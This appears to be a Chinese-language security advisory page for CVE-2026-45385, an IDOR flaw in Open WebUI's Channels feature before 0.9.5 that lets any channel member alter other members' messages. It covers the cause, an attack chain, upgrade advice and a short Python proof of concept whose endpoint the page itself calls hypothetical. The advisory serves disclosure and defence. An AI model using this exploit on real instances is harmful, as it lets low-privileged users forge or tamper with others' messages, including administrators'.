IPBUF安全漏洞报告
English
CVE-2026-45385 CVSS 4.3 中危

CVE-2026-45385 Open WebUI IDOR漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45385
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

IDOROpen WebUI权限绕过数据完整性

漏洞概述

Open WebUI是一款完全离线的自托管AI平台。在0.9.5之前的版本中,其Channels功能存在不安全的直接对象引用(IDOR)漏洞。由于服务端仅验证调用者是否为频道成员,未校验消息归属权,导致任何成员均可篡改同一频道内其他成员(包括管理员)的消息。该漏洞破坏了数据的完整性,已在0.9.5版本中修复。

技术细节

该漏洞源于Open WebUI后端`update_message_by_id`函数的权限校验逻辑缺陷。在处理群组或直接消息类型的频道消息更新请求时,系统仅调用`is_user_channel_member`函数确认请求发起者是否为频道成员,而未进一步比对消息发送者ID与请求者ID。这意味着,只要攻击者拥有合法的频道成员身份(即便权限较低),即可通过构造特定的API请求,指定任意消息ID并附带篡改后的内容进行提交。由于缺乏对象归属权校验,服务端会接受并执行修改操作。攻击者利用此漏洞可篡改管理员发送的指令、伪造聊天记录或破坏频道内的信息交流环境,造成严重的信息完整性风险。该漏洞主要影响未升级到0.9.5版本的实例。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是存在漏洞的Open WebUI版本(<0.9.5),并获取了目标频道的信息。
STEP 2
获取访问权限
攻击者注册或使用低权限账号登录系统,并加入目标频道(只需是频道成员即可)。
STEP 3
构造攻击请求
攻击者截获或构造发送至`update_message_by_id`接口的API请求,将消息ID替换为其他成员(如管理员)的消息ID,并修改消息内容。
STEP 4
执行篡改
服务端因只验证成员身份而未校验消息归属,接受了该请求,导致受害者的消息被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://localhost:8080" USERNAME = "attacker_user" PASSWORD = "password" def login(): """Authenticate as a low-privileged user.""" session = requests.Session() login_payload = {"username": USERNAME, "password": PASSWORD} response = session.post(f"{TARGET_URL}/api/v1/auths/login", json=login_payload) if response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") exit(1) def exploit_idor(session, channel_id, message_id, new_content): """ Exploit IDOR in update_message_by_id. Only membership is checked, not ownership. """ # Endpoint to update a message (Hypothetical based on description) endpoint = f"{TARGET_URL}/api/v1/channels/{channel_id}/messages/{message_id}" payload = { "content": new_content } # Attempt to update message belonging to another user response = session.put(endpoint, json=payload) if response.status_code == 200: print(f"[+] Successfully modified message {message_id} in channel {channel_id}") print(f"[+] New content: {new_content}") else: print(f"[-] Failed to modify message. Status code: {response.status_code}") if __name__ == "__main__": session = login() # Replace with valid IDs from the target target_channel_id = "target_channel_uuid" target_message_id = "admin_message_uuid" fake_message = "This message has been modified by an unauthorized user." exploit_idor(session, target_channel_id, target_message_id, fake_message)

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.9.5或更高版本。如果无法立即升级,应限制频道成员加入权限,仅允许可信用户访问,并密切监控频道内的消息修改日志以发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表